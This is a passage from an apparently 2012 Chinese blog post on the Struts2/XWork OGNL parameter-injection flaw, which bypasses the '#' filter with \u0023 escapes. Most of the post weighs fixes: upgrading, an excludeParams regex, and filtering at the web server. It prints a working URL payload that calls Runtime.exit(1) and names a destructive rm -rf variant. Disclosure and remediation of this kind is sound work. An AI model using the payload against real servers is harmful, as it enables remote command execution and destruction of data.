- ?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL將它轉換為:
- action.getUser().getAddress().setCity("Bishkek")
- action.getUser().setFavoriteDrink("kumys")
這是通過ParametersInterceptor(參數過濾器)來執行的,使用用戶提供的HTTP參數調用 ValueStack.setValue()。
為了防范篡改服務器端對象,XWork的ParametersInterceptor不允許參數名中出現“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻擊者就可以繞過保護,修改保護Java方式執行的值:
此處代碼有破壞性,請在測試環境執行,嚴禁用此種方法進行惡意攻擊
- ?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
轉義后是這樣:
- ?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL處理時最終的結果就是
- java.lang.Runtime.getRuntime().exit(1);
類似的可以執行
- java.lang.Runtime.getRuntime().exec("rm –rf /root")
目前嘗試了3個解決方案:
1.升級到struts2.2版本。
這個可以避免這個問題,但是struts開發團隊沒有release這個版本(包括最新的2.2.1版本都沒有release),經我測試發現新版本雖然解決了上述的漏洞,但是新的問題是strus標簽出問題了。
- <s:bean id="UserUtil" name="cn.com.my_corner.util.UserUtil"></s:bean>
- <s:property value="#UserUtil.getType().get(cType.toString())" />
這樣的標簽在struts2.0中是可以使用的,但是新版中就不解析了,原因就是“#”的問題導致的,補了漏洞,正常的使用也用不了了。
所以sebug網站上的建議升級到2.2版本是不可行的。
2.struts參數過濾。
- <interceptor-ref name="params">
- <param name="excludeParams">.*\\u0023.*</param>
- </interceptor-ref>
這個可以解決漏洞問題,缺點是工作量大,每個項目都得改struts配置文件。如果項目里,是引用的一個類似global.xml的配置文件,工作量相應減少一些。
3.在前端請求進行過濾。
比如在ngnix,apache進行攔截,參數中帶有\u0023的一律視為攻擊,跳轉到404頁面或者別的什么頁面。這樣做的一個前提就是沒人把#號轉碼后作為參數傳遞。
請求如果是get方式,可以進行過濾,如果是post方式就過濾不到了,所以還是應該修改配置文件或更新新的jar包。
目前來看后兩種是比較有效的方法,采用第三種方法比較簡便。是否有另外的解決辦法,歡迎大家討論。
我并沒有在windows環境下測試,有同學在windows下沒有試驗成功,這并不能說明windows下就沒有風險可能是我們的參數或者什么地方有問題而已。既然漏洞的確存在,咱們就要重視對吧。歡迎大家測試,是否windows下漏洞不能執行成功。
posted @ 2012-07-11 13:26 云云 閱讀(4333) | 評論 (1) | 編輯 收藏